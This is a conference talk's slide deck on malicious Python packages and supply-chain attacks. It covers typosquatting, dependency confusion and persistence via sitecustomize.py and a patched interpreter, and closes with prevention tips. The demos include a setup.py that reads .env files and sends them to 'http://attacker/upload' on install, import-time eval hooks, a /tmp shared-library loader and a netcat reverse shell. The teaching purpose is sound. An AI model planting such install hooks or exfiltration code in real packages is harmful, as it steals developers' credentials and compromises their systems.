

# MalPython

## Can You Trust Your Python?



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# #whoami



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# Disclaimer

This material was created for educational purposes and contains example of source code that can be weaponized for malicious purposes.

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Use responsibly.

# Agenda

- Supply Chain Attacks
- Common Tactics
  - Delivery and Initial Foothold
  - Persistence
- Prevention

# Supply Chain Attack

in Python

# (Software) Supply Chain Attack

- Type of cyberattack that target the **process**, **tools**, and **infrastructure** used to **build**, **distribute**, or **update** software to inject malicious code.
- Exploit the trust placed in the software supply chain.

We talk specifically about supply chain attack with python packages.

# Python is Popular

- Widely used for development and automation.
- Cross-platform support
- Easily integrate with other technologies
- Large community and ecosystem
  - Third party packages for almost any use case.

Most of us rely on available packages

But, **can you trust the code?**

# Developers are the Target

- More attacks directed to the users or developers.
  - User is always the weak part.
  - Can lead to compromising the **IT infrastructure**.
  - Can lead to compromising the **software** made by developers.
- Challenges in verifying the security of these dependencies.
- Introduced as **malicious packages**.
  - Anyone can upload packages to PyPi.
  - Unspecific, mass/wide-range target.



# The Impact

What could happen when you install malicious packages?

- **Exfiltrate** sensitive data: SSH keys, GPG keys, cloud credentials, configurations, environment variables, etc.
- Install **backdoor**
- **Execute** arbitrary code:
  - Reverse shell
  - Malware (ransomware, cryptominer, etc).
- **Pivot** or jump host for lateral movement.
- etc.

# Common Tactics and Techniques

What and how?

# Attacker Goals

In most scenario, Attacker abuse Python code for:

- **Initial foothold:**  
Gaining access to the environment, which can be used for further exploitation.
- **Persistence:**  
Maintain long-term control over the system, remain active on system without being detected.

# Typical Chain of Events

- Users install package, either:
  - Package is a malicious package
  - Package depends on a malicious package
- Malicious package runs and execute the payload
  - Compromising end-user:
    - Install malware
    - Establish persistence
  - Compromising software:
    - Add backdoor to the software

# Getting Initial Foothold

Attacker deliver malicious code to victim.

Publish malicious packages into PyPI and lure victim to install it.

Some type of attacks:

- Dependency Confusion
- Typosquatting
- Hijacked Packages
- Forked Packages

# Dependency Confusion

Register malicious packages with the same name as the legitimate [internal packages](#) but with higher version number.

Example cases:

- **Alex Birsan research (2021)**  
Compromising several major companies by injecting malicious packages [\[ref\]](#).
- **Torchtriton (2023)**  
Attacker publish package with the same name as the package shipped on the PyTorch nightly package [\[ref-1\]](#)[\[ref-2\]](#).

# Typosquatting

Publish packages with **names very similar** to popular ones. Relying on users mistyping the packages names.

- **Misspelling**, e.g.:
  - requests → requesrs, requesys, request [[ref](#)]
  - urllib3 →urlib3 [[ref](#)]
- **Ordering/separator confusion**, e.g.:
  - setuptools →setup-tools, setup\_tools [[ref](#)]
- **Version confusion**, e.g.:
  - requests → request3
  - python-dateutil → python3-dateutil [[ref](#)]

# Hijacked Packages

Malicious code is inserted into the existing (safe) packages.

- User contribution (pull request)
- Hacked developer account

Example case:

- fastapi-toolkit [[ref](#)]
- ssh-decorate [[ref](#)]
- phpass [[ref](#)]



# Forked Packages

Fork a repository and insert malicious code into it.

Luring victim by offering features or capability which is not provided by the real package.

Example case:

- requests-darwin-lite [[ref](#)]

# Demo: MalPkg1

Malicious code is inserted into package, as part of **existing function or module**.

Executed when user import module or invoke specific function.

Invoked on each import →

```
1  __version__ = "0.1.0"
2
3  # suppose this part is non-malicious code as in original package
4  from .greet import *
5
6  # insert malicious module here so it will be run whenever the package is imported.
7  # delete the payload() function after execution
8
9  try:
10     from .payload import *
11     del payload
12 except:
13     print()
14
15 # suppose this part is non-malicious code as in original package
```

malpkg1/malpkg1/\_\_init\_\_.py

# Demo: MalPkg1

```
python3 setup.py sdist
pip install dist/malpkg1*.tar.gz
```

```
1  import platform
2
3  # define function which contain the payload
4  def payload():
5      if platform.system().startswith("Linux"):
6          code="print('PyCon APAC 2024 <Linux Malicious Code>')"
7      elif platform.system().startswith("Windows"):
8          code="print('PyCon APAC 2024 <Windows Malicious Code>')"
9      elif platform.system().startswith("Darwin"):
10         code="print('PyCon APAC 2024 <macOS Malicious Code>')"
11     else:
12         code="pass"
13
14     eval(compile(code, "<string>", "exec"))
15
16 # execute the payload immediately
17 payload()
```

```
Received connection from 192.168.1.100 on 2024-03-29 10:51:09
[satria.pradana@ITID001678-MAC ~ % python3
Python 3.9.6 (default, Mar 29 2024, 10:51:09)
[Clang 15.0.0 (clang-1500.3.9.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import malpkg1
PyCon APAC 2024 <macOS Malicious Code>
>>> █
```

malpkg1/malpkg1/payload.py

# Demo: MalPkg2

Malicious code is inserted into setup process.

Executed once during installation.


# Demo: MalPkg2

```
7  setuptools.setup(  
8      name="malpkg2",  
9      version="0.1.0",  
10     author="Satria Ady Pradana",  
11     description="Simple package to demonstrate malicious package",  
12     packages=setuptools.find_packages(),  
13     classifiers=[  
14         "Programming Language :: Python :: 3",  
15         "License :: OSI Approved :: MIT License",  
16         "Operating System :: OS Independent",  
17     ],  
18     project_urls={  
19         "Documentation": "https://github.com/xathrya/pycon_malpython",  
20         "Bug Reports": "https://github.com/xathrya/pycon_malpython",  
21         "Source Code": "https://github.com/xathrya/pycon_malpython",  
22     },  
23     python_requires=">=3.6",  
24 )  
25  
26  
27 # PAYLOAD: read environment variable  
28 for f in [".env", os.path.expanduser("~/env"), "/.env"]:  
29     if os.path.exists(f):  
30         with open(f, "rb") as r:  
31             content = base64.b64encode(r.read())  
32             data = {"filename":f,"content":content.decode()}  
33             req = request.Request("http://attacker/upload", data=json.dumps(data).encode(), method='POST')  
34             resp = request.urlopen(req)  
35
```

← Invoked payload on  
setup

malpkg2/setup.py

# Latest Case (Sept' 2024)



## Malicious packages:

- real-ids (versions 0.0.3 - 0.0.5)
- coloredtxt (version 0.0.2)
- beautifultext (version 0.0.1)
- minisound (version 0.0.2)

<https://unit42.paloaltonetworks.com/gleaming-pisces-applejeus-poolrat-and-pondrat/>

# Obfuscated?

- Malicious code need to evade detection
  - Avoid using obvious code.
- How?
  - Transformation (encoding,compression,encryption)
  - Simplify code to one line
  - Use builtins or internal functions

# Persistence

- What should be done after getting access to victim?
  - Make sure access is not lost!
- Attacker maintain access to the compromised environment.
  - Attacker contact the victim.
  - Victim contact the attacker.
    - On each reboot
    - On specific event

Option: compromise the python.



# Abusing Autoload

Abusing Python feature for autoload malicious module on startup.

- **sitecustomize.py** file  
Create [sitecustomize.py](#) file on [site-packages/](#) directory.
- **PYTHONSTARTUP** env variable  
Create any file and export its full path as [PYTHONSTARTUP](#).
- **site.py** file  
Edit [site-packages/site.py](#) file.

See the [repo](#) for each case.

# Demo: MalMod1

Create a `sitecustomize.py` file on `site-packages/` directory.

Payload can be plain python script or cython module.

```
satria.pradana@111D001678-MAC Documents % python3 -m site
sys.path = [
  '/Users/satria.pradana/Documents',
  '/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/lib/python39.zip',
  '/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9',
  '/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/lib-dynload',
  '/Users/satria.pradana/Library/Python/3.9/lib/python/site-packages',
  '/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/site-packages',
]
USER_BASE: '/Users/satria.pradana/Library/Python/3.9' (exists)
USER_SITE: '/Users/satria.pradana/Library/Python/3.9/lib/python/site-packages' (exists)
ENABLE_USER_SITE: True
```

We choose user directory:

`~/Library/Python/3.9/lib/python/site-packages/`

# Demo: MalMod1

Try to print something on each python startup

```
1 print("PyCon APAC 2024: MalPython (sitecustomize.py)")
2
3
```

~/Library/Python/3.9/lib/python/site-packages/sitecustomize.py

```
satria.pradana@ITID001678-MAC Documents % python3
PyCon APAC 2024: MalPython (sitecustomize.py)
Python 3.9.6 (default, Mar 29 2024, 10:51:09)
[Clang 15.0.0 (clang-1500.3.9.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>>
```

```
satria.pradana@ITID001678-MAC malpkg1 % python3 -m http.server
PyCon APAC 2024: MalPython (sitecustomize.py)
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
```

# Beyond the Python Script

Instead of using plain python script as payload, we use binary code.

- Using **shared library** (DLL/SO)
- Convert Python to C then compile it.
- Create interface to execute the function in shared library.

Solution: using **cython**

Make sure you have cython installed.

```
pip install cython
```

# Demo: MalMod1 (contd)

```
1 cdef extern from "stdio.h":
2     void printf(const char *format, ...)
3
4 cdef extern void execute():
5     printf("PyCon APAC 2024 (cython)\n")
6
```

malmod1/payload.pyx

```
1 # Put this on site-packages directory
2
3 import ctypes
4 import sys
5 import os
6
7 if sys.platform == "win32":
8     libname = "payload.pyd"
9 else:
10    libname = "payload.so"
11
12 path = os.path.join("/tmp", libname)
13 lib = ctypes.CDLL(path)
14
15 lib.execute()
```

sitecustomize.py

Create binary module using [cython](#)

```
cd malmod1
python3 setup.py build_ext --inplace
```

Rename our payload shared library to either [payload.pyd](#) or [payload.so](#) according to platform.

Place it to [/tmp](#)

```
satria.pradana@ITID001678-MAC malmod1 % python3
PyCon APAC 2024 (cython)
Python 3.9.6 (default, Mar 29 2024, 10:51:09)
[Clang 15.0.0 (clang-1500.3.9.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>>
```

# Compromising the Interpreter

What if we add malicious code into the interpreter?

- More advanced and complicated.
- Less suspected (?)

Action? Anything

- Create **new thread** and run something malicious.
- **Hook** internal function.

# Python Internal

Source: [Python 3.11.9](#)

Execution flow (oversimplified)

- `main()`
  - `pymain_main()`
    - `pymain_init()`
    - `Py_RunMain()`
      - `pymain_run_python()`

# Demo: MalInterp2

Source: [Python 3.11.9](#)

Create new thread and run payload.

- Different thread than python thread.
- Created before Python VM run.

Check the [patch file](#).

- Create [pymain\\_monitor\(\)](#)
- Call it on [pymain\\_run\\_python\(\)](#)



# Demo: MalInterp2

Attacker: listen to port 4444

`nc -l 4444`

Victim: run the python

`./python -m http.server`

```
satria.pradana@ITID001678-MAC base % ./python.exe -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
```

```
satria.pradana@ITID001678-MAC Documents % nc -l 4444
id
uid=504(satria.pradana) gid=20(staff) groups=20(staff),12(everyone),61(localaccou
nts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_a
nalyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),400(
com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)
```

Interactive? Automate?

# Prevention

# As User (Developer)

First of all: be aware!

Then

- **Pin dependencies:** use specific version explicitly.
- **Internal repositories:** setup internal repositories and configure pip to only fetch from these repositories.
- **Audit and monitor:** regularly audit the dependencies and any changes made to them.
- **Audit the pull request:** if you get pull requests, check if it's malicious.



# Thank You!

**Prepared by Satria Ady Pradana**

27th October 2024 | Version 1